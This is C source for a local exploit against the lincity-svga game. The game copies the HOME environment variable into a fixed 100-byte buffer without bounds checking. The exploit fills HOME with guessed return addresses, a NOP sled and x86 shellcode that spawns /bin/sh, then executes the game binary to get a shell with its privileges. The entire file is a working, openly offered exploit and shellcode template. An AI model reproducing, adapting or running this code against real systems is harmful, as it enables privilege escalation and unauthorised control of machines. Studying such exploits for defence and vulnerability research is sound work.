/*
*  lincity-svga exploit by TFreak
*
*  another example of bad programming, copying the HOME environment
*  without bounds checking to a static size buffer (100 bytes)
*
*/

#include <stdio.h>

#define bs 250
#define of 300

unsigned long sp (void);

int main(int argc, char *argv[])
{
    char *p, *buf;
    char shell[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
        "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
        "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
    unsigned long addr, *paddr;
    int i;

    buf = (char *) malloc(bs);
    p = buf;
    paddr = (unsigned long *) p;

    addr = sp() - of;

    for (i = 0; i < bs; i += 4)
        *(paddr++) = addr;

    memset(p, 0x90, bs/2);
    p += bs/2;

    for (i = 0; i < strlen(shell); i++)
        *(p++) = shell[i];

    setenv("HOME", buf, 1);
    execl("/usr/games/lincity", "lincity", NULL);
}

unsigned long sp (void)
{
    __asm__("movl %esp, %eax");
}
/*                    www.hack.co.za                    */